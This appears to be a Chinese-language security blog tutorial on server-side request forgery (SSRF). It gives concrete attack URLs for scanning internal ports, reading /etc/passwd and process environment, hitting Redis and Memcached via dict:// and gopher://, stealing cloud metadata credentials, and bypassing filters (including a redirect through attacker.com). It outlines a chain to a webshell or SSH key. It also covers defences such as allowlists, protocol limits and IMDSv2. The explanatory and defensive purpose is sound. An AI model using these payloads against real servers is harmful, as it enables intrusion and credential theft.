SSRF服务器端请求伪造:内网渗透的跳板

作者:Yolo 发布时间: 2026-05-22 阅读量:12

SSRF服务器端请求伪造:内网渗透的跳板

什么是SSRF

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务器发起请求的安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

漏洞原理

很多Web应用提供了从其他服务器获取数据的功能。比如:

  1. 图片下载/显示:用户输入URL,服务器抓取图片
  2. Webhook回调:服务器向用户指定的URL发送请求
  3. 文件处理:PDF转HTML、URL预览等功能
  4. API代理:服务器转发请求到第三方API

如果服务器没有对目标地址做严格校验,攻击者就能让服务器向任意地址发起请求,包括:

  • 内网IP(192.168.x.x、10.x.x.x、172.16.x.x)
  • 本地服务(127.0.0.1、localhost)
  • 云服务商元数据接口(169.254.169.254)

攻击场景

1. 扫描内网端口

http://target.com/fetch?url=http://192.168.1.1:22
http://target.com/fetch?url=http://192.168.1.1:3306
http://target.com/fetch?url=http://192.168.1.1:6379

通过响应时间、错误信息判断端口是否开放。

2. 读取本地文件

http://target.com/fetch?url=file:///etc/passwd
http://target.com/fetch?url=file:///proc/self/environ

部分库支持 file:// 协议,可读取服务器本地文件。

3. 攻击本地服务

# Redis未授权访问
http://target.com/fetch?url=dict://127.0.0.1:6379/info

# Memcached
http://target.com/fetch?url=gopher://127.0.0.1:11211/...

4. 云环境元数据窃取

# AWS
http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/

# 阿里云
http://target.com/fetch?url=http://100.100.100.200/latest/meta-data/

可获取临时凭证、实例信息等敏感数据。

常见绕过技巧

IP进制转换

# 127.0.0.1 的各种写法
http://2130706433/ # 十进制
http://0177.0.0.1/ # 八进制
http://0x7f.0.0.1/ # 十六进制

利用DNS解析

# 指向127.0.0.1的域名
http://target.com/fetch?url=http://localhost.example.com/

URL解析差异

# @绕过(部分解析库)
http://[email protected]/

# #截断
http://www.example.com#@192.168.1.1/

302跳转绕过

# 控制一个外网域名,设置302跳转到内网
http://target.com/fetch?url=http://attacker.com/redirect
# 实际跳转到 http://192.168.1.1/

防御方案

1. 白名单校验

只允许访问指定域名/IP,而不是黑名单过滤。

ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']

def is_allowed(url):
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS

2. 禁用危险协议

# 只允许 http/https
if not url.startswith(('http://', 'https://')):
raise ValueError('Only HTTP/HTTPS allowed')

3. 解析后二次校验

import socket

def validate_ip(hostname):
try:
ip = socket.getaddrinfo(hostname, None)[0][4][0]
# 检查是否是内网IP
if ipaddress.ip_address(ip).is_private:
raise ValueError('Private IP not allowed')
except socket.gaierror:
pass # 域名解析失败

4. 使用无特权网络

  • 将请求服务部署在独立网络段
  • 使用防火墙限制出站连接
  • 云环境使用VPC隔离

5. 云环境特殊防护

# AWS:启用IMDSv2(需要Token)
curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

实战检测

漏洞发现

  1. 寻找接受URL参数的功能点
  2. 尝试传入 http://127.0.0.1/http://169.254.169.254/
  3. 观察响应差异(时间、内容、错误信息)

利用链构建

1. 发现SSRF → 扫描内网
2. 发现Redis(6379开放)
3. 利用Redis未授权写入Webshell
4. 或者写入SSH公钥获取服务器权限

总结

SSRF是内网渗透的重要入口,危害包括:

  • 内网信息收集
  • 本地服务攻击
  • 云凭证窃取

防御核心:白名单 + 协议限制 + 网络隔离,不要依赖黑名单过滤。